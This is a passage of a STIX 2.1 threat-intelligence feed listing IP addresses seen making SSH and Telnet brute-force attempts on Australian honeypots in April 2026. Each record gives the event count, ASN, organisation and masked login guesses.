      "valid_until": "2026-05-23T05:15:02.000Z"
    },
    {
      "created": "2026-04-21T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--544ac7c9-33ae-4052-8abc-ff8cab5c9c39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.131.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T06:15:04.000Z",
      "valid_until": "2026-05-23T06:15:02.000Z"
    },
    {
      "created": "2026-04-21T07:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--9436efd0-68f3-4857-acfa-209d3529ef0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T07:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.79.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T07:15:36.000Z",
      "valid_until": "2026-05-23T07:15:02.000Z"
    },
    {
      "created": "2026-04-21T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): r**t, 3**********4, ***, u****u, a***n. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 2****..",
      "id": "indicator--6319fb0f-f565-4059-a00b-a016bf7a9178",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.120.171.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:15:02.000Z",
      "valid_until": "2026-05-23T08:15:00.000Z"
    },
    {
      "created": "2026-04-21T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 261. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4, t*****x, a***n, ***. Passwords observed (masked): 3***********4, 3**********4, P******d, R********., Z************..",
      "id": "indicator--13ee20fd-0850-40fc-83c8-c55534013b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.217.188.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:15:02.000Z",
      "valid_until": "2026-05-23T08:15:00.000Z"
    },
    {
      "created": "2026-04-21T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): r**t, **. Passwords observed (masked): 1********@, X*****3, **.",
      "id": "indicator--4e34eb98-76a9-469e-a8ef-0b921dac6932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.75.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:15:02.000Z",
      "valid_until": "2026-05-23T08:15:00.000Z"
    },
    {
      "created": "2026-04-21T08:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--cc579027-4f70-4f5a-ab7c-2de7f87e7828",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.229.208.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:15:02.000Z",
      "valid_until": "2026-05-23T08:15:00.000Z"
    },
    {
      "created": "2026-04-21T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, t*****x, u**r, a***n. Passwords observed (masked): 3***********4, 3**********4, 1*******d, 1******2, P******d.",
      "id": "indicator--6c1219f6-50e9-4408-bc3e-5ac256629311",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:15:02.000Z",
      "valid_until": "2026-05-23T08:15:00.000Z"
    },
    {
      "created": "2026-04-21T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): **. Passwords observed (masked): **.",
      "id": "indicator--581d9d40-f818-4ea8-9c7d-00654025e018",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T08:15:02.000Z",
      "valid_until": "2026-05-23T08:15:00.000Z"
    },
    {
      "created": "2026-04-21T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0ac47fc9-3613-4617-865c-29ff8b5428e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:15:04.000Z",
      "valid_until": "2026-05-23T09:15:02.000Z"
    },
    {
      "created": "2026-04-21T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ee69a1de-760c-45f3-bdf2-6b43ffdceb66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:15:04.000Z",
      "valid_until": "2026-05-23T09:15:02.000Z"
    },
    {
      "created": "2026-04-21T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bb0afc63-7e8a-4ef7-89c7-ea123c581c68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:15:04.000Z",
      "valid_until": "2026-05-23T09:15:02.000Z"
    },
    {
      "created": "2026-04-21T11:16:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a14c9ab1-6023-405f-91e0-32cb3fc65a2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T11:16:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.129.112.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:16:50.000Z",
      "valid_until": "2026-05-23T11:15:02.000Z"
    },
    {
      "created": "2026-04-21T11:16:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27983. Organisation(s): Red Intercable Digital S.A..",
      "id": "indicator--87663f09-9d17-40ca-b996-747fec448249",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T11:16:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.182.156.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:16:50.000Z",
      "valid_until": "2026-05-23T11:15:02.000Z"
    },
    {
      "created": "2026-04-21T11:16:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--262664e4-2d19-4164-8626-97fa8af55489",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T11:16:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:16:50.000Z",
      "valid_until": "2026-05-23T11:15:02.000Z"
    },
    {
      "created": "2026-04-21T11:16:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--dbc09fa8-2d84-48ca-b338-2c8ed55d5361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T11:16:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:16:50.000Z",
      "valid_until": "2026-05-23T11:15:02.000Z"
    },
    {
      "created": "2026-04-21T11:16:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7111de05-7ed0-430b-b971-abfd44d6947c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T11:16:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:16:50.000Z",
      "valid_until": "2026-05-23T11:15:02.000Z"
    },
    {
      "created": "2026-04-21T11:16:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NO. ASN(s): 2119. Organisation(s): Telenor Norge AS.",
      "id": "indicator--f392443f-098e-4941-b6fc-7a7a427d3a36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T11:16:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '88.88.214.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:16:50.000Z",
      "valid_until": "2026-05-23T11:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 240. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263974. Organisation(s): VELOX NET MA LTDA. Usernames observed (masked): r**t, 3**********4, t**t, ***, c****e. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, 1****3.",
      "id": "indicator--7f5d5f1c-2509-4d74-936b-54118639dbfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.255.157.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--8be0022d-2feb-445a-a049-a5920119a2e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.245.217.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d96ab01f-afb9-4737-955e-f7297a25f0cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.151.165.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd..",
      "id": "indicator--f27fa9b5-c61d-4146-acff-3e8c48606881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.95.153.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********.",
      "id": "indicator--1e798255-1b89-491d-8b47-b74e0140d6da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '24.6.219.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--ce7e3957-baab-4179-a095-84376402d4be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.133.118.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--6ef751dd-fab6-4707-8406-4e32a7f67537",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.179.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************************************************). Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--63e3fe62-400d-4eed-8439-df8962404986",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.254.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 240. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, t**t, ***, c****e. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, 1****3.",
      "id": "indicator--288c7140-4ed7-44dd-b3a8-aa3a90c3d149",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '57.128.218.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--846c938a-9ecf-4207-9331-1c1ce987a123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:15:04.000Z",
      "valid_until": "2026-05-23T12:15:02.000Z"
    },
    {
      "created": "2026-04-21T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r*****d, r**t. Passwords observed (masked): n*******!, r*****d.",
      "id": "indicator--33d22998-44b0-4145-bf4a-d2104a2f405d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.238.115.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:15:04.000Z",
      "valid_until": "2026-05-23T13:15:01.000Z"
    },
    {
      "created": "2026-04-21T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): r**t. Passwords observed (masked): q****!.",
      "id": "indicator--94ba50ca-5735-4265-b0bc-370f0e0a7e21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.195.64.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:15:04.000Z",
      "valid_until": "2026-05-23T13:15:01.000Z"
    },
    {
      "created": "2026-04-21T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138995. Organisation(s): Antbox Networks Limited. Usernames observed (masked): d****p, ***, r**t. Passwords observed (masked): D****!, Q****3, d*******3.",
      "id": "indicator--937ad94f-198a-4cd6-840c-55af78f29d97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.194.37.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:15:04.000Z",
      "valid_until": "2026-05-23T13:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 140417. Organisation(s): PT Indotechno Digital Komputasi. Usernames observed (masked): u**r. Passwords observed (masked): p******d.",
      "id": "indicator--1aa7be5b-6662-434b-9812-463dd335dc32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.151.140.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151729. Organisation(s): SWIFTIFY PRIVATE LIMITED.",
      "id": "indicator--5b6c4ee8-5aa6-4162-81d7-f2d5ed704ff7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.72.8.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): **, r**t. Passwords observed (masked): Q**@, **.",
      "id": "indicator--68068d41-301e-4111-962a-5cbcb6f37f03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.238.112.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): f*****r. Passwords observed (masked): F*****r.",
      "id": "indicator--4d547fbc-b2b6-493e-9deb-cca76a0dfcaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.188.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): f****e, 3**********4, a***n, r**t, t**t. Passwords observed (masked): ***, 2**2, 3***********4, 3**********4, A****************0.",
      "id": "indicator--e044c619-a4f7-4b3d-99b3-a4ce28611246",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
